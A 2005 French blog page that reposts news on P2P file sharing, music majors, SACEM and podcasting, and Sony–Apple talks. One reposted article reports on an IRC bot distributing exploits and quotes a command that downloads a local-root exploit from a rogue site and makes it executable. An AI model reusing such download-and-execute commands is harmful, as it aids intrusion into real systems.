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Droits D'auteurs - P2P - Podcasting - Mobiles et autres Technologies

L'industrie du disque en danger (3/3) : Les majors du disque ont-elles tous les droits ? | 06 septembre 2005

Source : Le monde

Tariq Krim, consultant et fondateur d'un site d'information dédié à la musique en ligne, analyse les nouvelles formes de distribution de la musique.

Neojah : La diminution récente des prix des albums, tant aux USA qu'en Europe, ne témoigne-t-elle pas de l'hypocrisie des majors, qui auraient pu le faire il y a dix ans déjà ?

Tariq Krim : La baisse des CD ne s'est répercutée, pour l'instant, qu'aux Etats-Unis, et elle est compensée par une baisse des investissements publicitaires et de marketing dans les magasins. Parallèlement, durant les dix dernières années, le coût du marketing pour la vente d'un CD a explosé. Donc une baisse des CD était hors de question pour les majors. C'est vraiment la désaffection d'une partie du public, dans les magasins physiques, et l'avènement du P2P (peer-to-peer) qui les poussent désormais à baisser les prix.

Fourtou : D'après vous, les labels indépendants vont-ils enfin comprendre que leur avenir passe par le P2P ?

Tariq Krim : Certains l'ont déjà compris. En tout cas, certains labels comme Ninja Tunes, un label anglais, est en train d'explorer une nouvelle façon de faire connaître ses artistes en exploitant Internet. Plus généralement, les jeunes labels indépendants ont compris qu'Internet est plus qu'un simple outil de marketing, mais aussi un outil de distribution.
Des rencontres informelles entre les éditeurs de logiciels P2P et certains groupes d'indépendants ont lieu, en ce moment, aux Etats-Unis.

Neojah : On parle beaucoup de P2P, de graveurs... Mais le prêt gratuit de disques dans les bibliothèques n'est-il pas beaucoup plus dommageable pour les maisons de disques ?

Tariq Krim : Personnellement, j'ai tendance à croire (de ma propre expérience) que l'on emprunte en bibliothèque des CD que l'on n'aurait pas achetés mais qui nous permettent de connaître des styles musicaux ou des artistes moins connus. En attendant et en frustrant le consommateur, les maisons de disques favorisent l'émergence de solutions comme la licence légale pour compenser les artistes.

Freemusic : Comment imaginez-vous la distribution de musique dans cinq ans ? Les magasins de disques vont-ils résister à la musique sur support dématérialisé ?

Tariq Krim : Pour moi, le P2P et l'Internet ont une influence sur la distribution de la musique, mais surtout sur la musique elle-même. Vous rappelez-vous l'influence de la musique de rue, comme le hip-hop sur la société aujourd'hui ? La FNAC du futur sera sûrement un magasin physique où l'on achètera son baladeur MP3 et son lecteur Divx ainsi que des abonnements à des réseaux P2P payants, la consommation se faisant chez soi, sur son PC. Oui, Internet ne supprimera pas le besoin pour un client de rencontrer une personne physique. Seul le service offert va changer pour l'utilisateur.

Neojah : Pourquoi considère-t-on que graver un CD est proche du délit et du piratage quand on paye en France une taxe énorme dans ce but précis ?

Tariq Krim : Je ne suis pas juriste, mais la taxe (plutôt une redevance d'ailleurs) sert à compenser les artistes au titre de la copie privée. Cette redevance n'est pas aujourd'hui appliquée pour couvrir le piratage, même si, pour de très nombreux internautes, cela semble le cas. Il faut savoir tout de même que deux artistes sur trois gravés en France proviennent désormais d'Internet et plus de la copie d'un CD du commerce. Dans la répartition de cette redevance, il faudra en tenir compte. De très nombreux artistes peu connus téléchargés sur Internet ne bénéficient pas, pour l'instant, de cette redevance. Hélas !

Djtall : Le seul problème pour l'actuelle crise des majors, rarement évoqué, est que l'artiste soit rétribué. Que pensez-vous d'un système à la "e-bay", avec un morceau à, disons, 25 centimes d'euro, totalement pour l'artiste, moins quelques pourcentages pour le site ? Tout le monde s'y retrouverait : l'artiste gagnerait plus, et le public paierait moins !etc......................................

Publié par Reuther à 22:08:33 dans Actu P2P | Commentaires (0) |

Pirates du dimanche et IRC font bon ménage | 06 septembre 2005

Source : Silicon

Auteur de l'Article : Arnaud Dimberton

L'on savait depuis un moment qu'il était possible de télécharger des programmes pour créer des virus ou bien de chercher sur Internet des instructions utiles pour un internaute fantasmant sur une future carrière de Hacker. Seulement selon le webzine Zataz.com il existe une autre alternative pour les Internautes en manque de neurones: le chan IRC (Internet Relay Chat).

Devenir un hacker sans mettre le nez dans le code, c'est possible ! Pour cela il faut accéder aux exploits et backdoors permettant le piratage.

Soit l'on se nomme Goldstein ou Paradox et on comprend aisément le code source de l'exploit utilisé, soit l'on est capable d'utiliser un exploit publié pour s'introduire chez la cible à pirater.

Mais en ces temps de modernité il est possible, sans se fatiguer, de polluer un ennemi, un concurrent que sais-je... Et cela tout simplement, en récupérant sur un chan IRC les commandes à utiliser et l'exploit qui correspond !

L'équipe de Zataz.com a découvert un Channel ayant un bot (robot) d'une grande générosité. Ce lieu de discussion et d'échange a été mis en place par un pirate ayant soigneusement pris le temps d'infiltrer des serveurs Web sur lesquels il a placé des exploits publics ou privés qui permettent d'agir selon le mot clé spécifié.

Interrogé par le webzine un utilisateur explique le fonctionnement : "Ils vont télécharger des versions compilées d'un exploit, et il ne reste plus qu'à l'exécuter."

Ainsi un utilisateur malveillant va taper une commande dans le channel par exemple !uselib ou !backdoor et ensuite il laisse travailler le bot qui va rechercher dans sa base de données s'il est en possession d'un exploit correspondant à la demande. Un service à la carte en quelque sorte.

Ensuite il communique une ligne ressemblant à : "wgetwww.sitepirate.com/Odays/uselib; chmod 777 uselib" qui correspond au lieu de stockage de la bête et à la commande système pour lancer le téléchargement. Il est alors possible de changer les droits de l'exploit et de l ‘exécuter. Une fois la ligne copiée le black hacker devient root c'est-à-dire qu'il est considéré comme l'administrateur de la machine cible.

etc..

Publié par Reuther à 22:05:45 dans Actu P2P | Commentaires (0) |

musique : Dis, monsieur… (Lettre ouverte aux sociétés d’auteurs en général, à la SACEM en particulier) | 06 septembre 2005

Je trouve quez cette lettre ouverte est assez interessante Pas Vous ? 

Source : Musiquelibre

L'été est déjà fini, les hostilités reprennent - si tant est qu'elles aient un instant semblé de cesser : on apprend la nouvelle fournée de la RIAA : 754 poursuivis... On lit ça maintenant en brève, perdu en milieu de journal, dans Metro...

Comme on le lit ici : la SACEM a un nouvel ennemi : c'est le podcast qu'elle a dans le nez maintenant.
Podaufeu, site qu'on ne présente plus, référence du podcast, réagit par une lettre ouverte d'une grande mesure, netteté, intelligence de la situation, subtilité : les qualités qu'on aimerait voir partagées par tous les acteurs du marché de la musqiue... Nous la publions avec la bénédiction de son auteur Th. van den Brule ( c'est sous CC by-nc-nd ):
Dis, monsieur... (Lettre ouverte aux sociétés d'auteurs en général, à la SACEM en particulier) :


Un article publié le 9 aût dernier par 01net nous apprend que la SACEM se penche sur la cas de la diffusion de musique sur les blogs. Interprétations diverses a largement réagi (scroller jusqu'au 17 août), et, comme le souligne la blogothèque, les commentaires de cet article receuillent également les points de vues d'autres audiobloggeurs.

Je réagis à mon tour au moyen de cette lettre ouverte.

Permettez moi tout d'abord de me présenter. Je suis sociétaire de la SACEM. A une période de ma vie, j'ai percu des droits issus de l'exploitation de mes oeuvres. Des sommes pas énormes, mais suffisantes pour me permettre de survivre avec femme et enfants pendant quelques mois. Plusieurs amis trés proches vivent exclusivement de leurs droits d'auteur.

Je suis donc plus que largement sensibilisé à la nécessité de rémunérer les créateurs.

J'imagine que la plupart d'entre mes lecteurs n'ont de la SACEM, de son rôle et de son organisation qu'une idée trés générale. Quelques précisions s'imposent donc:

Adhérer à la SACEM, c'est adhérer à ses statuts, sans dérogations possibles. Que disent ces statuts ?

Article 1: “Tout auteur, auteur réalisateur ou compositeur fait apport à la société (...) du droit d'autoriser ou d'interdire l'exécution ou la représentation publique de ses oeuvres dès que créées.”

La représentation publique ou l'exécution, c'est le cas ou le public entend l'oeuvre mais n'a pas le moyen de l'emporter chez lui pour l'écouter à l'envie: Concerts, diffusion radio, écoute en streaming dans une playlist non modifiable, etc...

Article 2bis: “(...) les membres de la société lui apportent à titre exclusif et pour tous pays le droit d'autoriser ou d'interdire la reproduction mécanique de leurs oeuvres (...)".

La reproduction mécanique, c'est le cas où on fournit au public les moyens d'écouter l'oeuvre quand bon lui semble, ou il veut, au moyen d'un support contenant l'oeuvre: CD, fichier à télécharger, etc...

L'article 4 des statuts précise le rôle de la société, en particulier “la perception et la répartition des redevances provenant de l'exercice desdits droits”

En résumé, la SACEM est seule habilitée à autoriser ou interdire l'utilisation d'une oeuvre. En contrepartie, elle s'engage à fournir à l'auteur une rémunération qu'elle percoit auprès des utilisateurs de musique.

En théorie, donc, toute utilisation de musique doit se faire avec l'aval de la SACEM, et l'auteur qui souhaiterait diffuser librement une de ses oeuvres n'aurait qu'une solution: démissionner, et se priver totalement de la puissance de négociation de cette société, en particulier vis à vis des entreprises qui exploitent la musique à des fins commerciales.

Dans ce cadre, un auteur qui adhère à la SACEM n'a donc pas le droit d'autoriser podaufeu, ou n'importe quel média, à diffuser gratuitement un de ses titres. C'est également vrai pour les auteurs étrangers, adhérents à leur sociétés d'auteurs locales (BMI ou ASCAP aux US, MCPS-PRS au Royaume Uni, GEMA en Allemagne... ) : Ces sociétés ont des accords croisés avec la SACEM qui les représente sur le territoire Français.

Ceci pour poser le décor: Avec un seul email adressé à podaufeu'arobase'gmail.com, la SACEM peut faire fermer podaufeu. D'un claquement de doigts. Il est en effet hors de question pour moi de m'engager dans un combat juridique avec cette puissante et respectable institution.

En octobre 2004, à l'initiative de green, un certain nombre d'audioblogs français, dont podaufeu, podvains, david_f, la blogothèque, l'ORTF etc... se sont regroupés autour d'une mailing list dite [blogbloc]. J'invite tous les tenanciers de blogs musicaux à rejoindre cette liste maintenant. Ecrivez-moi pour que je vous indique la marche à suivre.

Nos discussions, depuis maintenant presqu'un an ont eu deux sujets essentiels:

- La définition de règles de conduite acceptables
- La recherche ou la non-recherche d'un statut permettant de clarifier notre situation au regard des ayants-droit (producteurs, interprêtes, auteurs, compositeurs, éditeurs)

Je retiens de nos échanges un accord unanime, bien que tacite, sur les règles de conduites suivantes:

- Ne jamais poster, individuellement ou collectivement, plus de quelques titres issus d'un même album,
- Dans la mesure du possible, indiquer au consommateur des moyens pour se procurer légalement et de manière PAYANTE, les enregistrements évoqués dans nos blogs,
- Ne pas poster de titres lorsque ceux-ci n'ont pas fait l'objet d'une divulgation autorisée par l'artiste ou son label (c'est-à-dire ne pas relayer les fuites d'albums attendus par le public)
- Retirer les titres à la première demande effectuée par l'un des ayant-droits,
- ...

A la seconde question “devons-nous chercher un statut légal ?", une réponse s'est finalement imposée: non.

Je suis parfaitement informé des droits des auteurs, et dès le départ j'ai été persuadé d'agir dans leur intérêt, comme en témoignent les mails de remerciements reçus tant par podaufeu que, j'en suis convaincu, les autres audioblogs. Je reconnais également à chaque auteur le droit de n'être pas d'accord avec mon action : mon adresse mail est connue de tous, il suffit de cliquer sur la partie en italique à la fin du texte d'avertissement qui figure à droite de cette page.

Ceci est justement rendu possible par l'absence de statut juridique officiel. Que je m'explique:

Un statut juridique, c'est nécessairement l'octroi d'un droit moyennant une contrepartie. Au jour d'aujourd'hui, la SACEM, nous a démontré son incapacité à prendre en compte des contreparties non financières, qui sont justement ce que je propose. Demandez-moi de payer, et vous aurez de la pub sur podaufeu: Mon budget musique est d'ores et déjà au dessus de mes moyens. Faire financer la musique par de la publicité, c'est nécessairement tomber dans la recherche du tube. C'est écrire en fonction des besoins des annonceurs, c'est professionnaliser la passion.

Professionnaliser la passion ? Entre nous, je ne demande que ça, mais, soyons honnêtes : Est-ce là le meilleur moyen d'encourager la diversité musicale ? Quels sont les artistes parmis ceux que nous défendons qui disposent des partenaires permettant de financer des bloggeurs professionnels ? Regardez donc ma playlist de septembre...Le plus gros vendeur pointe péniblement au delà de la 2000ème place du classement chez amazon...

Il me semble que, justement, le musicblogging/audioblogging/mp3blogging est un nouveau symptôme des limites de la gestion collective face à la possibilité que le net offre aux créateurs de nouer des liens individuels avec des médias à leur échelle. Ces opportunités de relais sont réelles, car le bloggeur s'affranchit justement de la contrainte économique.

Un statut juridique assorti de conditions exclusivement financières, c'est autoriser aveuglément, et sans distinctions éthiques, celui qui a les moyens de payer, à diffuser ce qu'il veut, absolument tout ce qu'il veut. Quelles limites seront imposées, au delà de la nécessité de payer ?

Etc...

Publié par Reuther à 22:02:36 dans Actu P2P | Commentaires (0) |

Piratage : les maisons de disques ne relâchent pas la pression | 06 septembre 2005

Source : 01.net

Auteur de l'Article : Guillaume Deleurence

La lutte contre le téléchargement illégal reste une des priorités du Snep. D'autant que la musique en ligne commerciale attend toujours son réel décollage en France.

Hasard du calendrier, le Syndicat national de l'édition phonographique (Snep) tenait hier lundi 5 septembre une conférence de rentrée, le jour même où l'on apprenait que la justice australienne condamnait l'éditeur du logiciel de partage de fichiers Kazaa.

Accueillie par le Snep et la SCPP (Société civile des producteurs phonographiques) avec une « vive satisfaction », cette décision est jugée comme un « formidable appui aux efforts constants des professions de la musique pour construire un marché légal de la musique en ligne ». Car pour un syndicat comme le Snep, la lutte contre les réseaux de peer-to-peer non commerciaux demeure plus que jamais une priorité.

Celui-ci espère ainsi se faire entendre dans la future loi de transposition de la directive européenne sur les droits d'auteur et droits voisins que le Parlement doit examiner en principe à la fin de l'année. Le Snep espère que ce sera l'occasion d'une « reconnaissance pleine et entière des mesures de protection [destiné à limiter ou interdire la copie des CD et DVD, NDLR], en intégrant la question des logiciels de peer-to-peer ». Pour Gilles Bressant, président du Snep, « la loi devra tenir compte d'un contexte qui a beaucoup évolué, la directive européenne ayant été rédigée il y a plusieurs années ».

Autre attente des producteurs de musique : que la loi ne mette pas en oeuvre le principe de la « licence légale », aussi appelée « globale », selon lequel le partage d'oeuvres sur les réseaux P2P non commerciaux serait autorisé en contrepartie d'un prélèvement sur le prix d'accès à Internet. « Nous voulons que le téléchargement légal et illégal demeurent des mondes cloisonnés de façon étanche », indique Hervé Rony, directeur général du Snep. Sur ce point, les maisons de disques s'avèrent très éloignées des sociétés d'auteurs-interprètes, comme la Spedidam et l'Adami très favorables, elles, à ce système.

Le Snep, en relation avec la SCPP, n'envisage donc pas de relâcher la pression sur les internautes adeptes du peer-to-peer. D'autant que les actions en justice, au pénal et au civil, entamées en 2004, ont déjà abouti à la condamnation, par le TGI de Toulouse, d'un internaute à des dommages et intérêts et à de la prison avec sursis (deux mois), ainsi qu'à des déconnexions par les FAI. Les actions en justice vont donc perdurer, « vu que les jugements nous sont favorables ».

Le téléchargement de musique représente moins de 1 % des ventes de disques

Mais le syndicat ne compte pas se limiter aux seules procédures judiciaires. Il envisage en effet d'expérimenter le filtrage du peer-to-peer, sur la base du rapport Kahn-Brugidou , qui préconise de filtrer le peer-to-peer sur le poste de l'utilisateur, et non pas dans les réseaux des FAI . Et regrette que le rapport n'ait pas encore reçu de suite concrète de la part du gouvernement. Autre initiative annoncée : la mise en place d'un forum technologique, avec les acteurs du monde des télécoms, pour travailler avec eux à la protection des oeuvres.

Une coopération qui laisse à désirer aujourd'hui, selon le Snep. Ce dernier trouve par exemple les FAI trop peu actifs dans l'application de la charte signée en juillet 2004, qui vise à lutter contre le piratage et à promouvoir la musique en ligne légale. Il estime « irréel » qu'au bout de douze mois les pouvoirs publics n'aient pas encore décidé de dresser un bilan de cette initiative.

Le Snep cherche donc à maintenir la pression, sur les internautes, mais aussi sur les pouvoirs publics, à l'heure où le téléchargement de musique légale sur Internet attend encore de décoller réellement dans l'Hexagone. Bien que ses revenus aient été multipliés par plus de quatre entre le premier semestre 2004 et 2005, il ne pèse à ce jour que 3,8 millions d'euros, soit moins de 1 % des ventes de disques en France au premier semestre, qui atteignent 398 millions d'euros*. La musique en ligne, qui inclut la téléphonie mobile, a cependant permis aux producteurs de compenser, avec 11,3 millions d'euros, le recul en valeur du marché de 2,7 %, soit 11 millions, dû aux baisses de prix*. Etc....

Publié par Reuther à 21:57:38 dans Actu P2P | Commentaires (0) |

Sony négocie avec Apple pour profiter de iTunes Japon | 06 septembre 2005

Source : Yahoo / Pc inpact

Auteur de l' Article : Bruno Cormier

En pleine concurrence guerrière sur le marché des lecteurs multimédias portables, Sony et Apple mettent de côté leurs ardeurs pour s'asseoir à la table des négociations. Miracle ? Non non, ...

Ici, c'est Sony qui semble à tout prix vouloir mettre à disposition son catalogue d'artistes japonais auprès du service iTunes Japon. Et la symbiose semble parfaite entre les deux frères ennemis, car Apple nécessite à tout prix cette base de chanteurs japonais très populaires pour faire son beurre comme il se doit. iTunes bénéficiera des 25 000 morceaux locaux de Sony, qui pourra ainsi mieux les vendre...

Dans la vente de musique, le Japon est le second plus gros marché derrière les Etats-Unis. Les débuts d'iTunes y ont d'ailleurs été impressionnants, puisqu'en 4 jours seulement, plus d'un million de chansons ont été vendues et téléchargées en ligne. Le score est devenu un record à battre chez Apple, qui n'a jamais dépassé un tel chiffre dans les vingt autres pays où iTunes est implanté.

Voilà de quoi faire plier même le géant local Sony, dont les « walkmans » sont écrasés par les 21 millions d'utilisateurs d'iPod dans le monde. Il y a peu, la firme avait reconnu s'être trompée sur l'avenir des lecteurs MP3, et aujourd'hui Sony fait tout pour concurrencer l'iPod sur son terrain. Le Japonais sortira d'ailleurs un modèle concurrent à l'iPod au Japon très bientôt, le « Walkman Bean »...

Mais pour l'instant, Sony traite avec la Pomme. Face aux critiques d'un des plus grands quotidiens japonais, le Yomiuri Shimbun qui affirmait que Sony « aidait l'ennemi », un porte-point-de-vue de la firme japonaise a préféré expliquer que Sony ne voulait que toucher un peu plus de fans japonais de musique. Sur son propre territoire, la pilule a tout de même dû être rugueuse à avaler pour Sony...

Publié par Reuther à 21:50:26 dans Actu P2P | Commentaires (0) |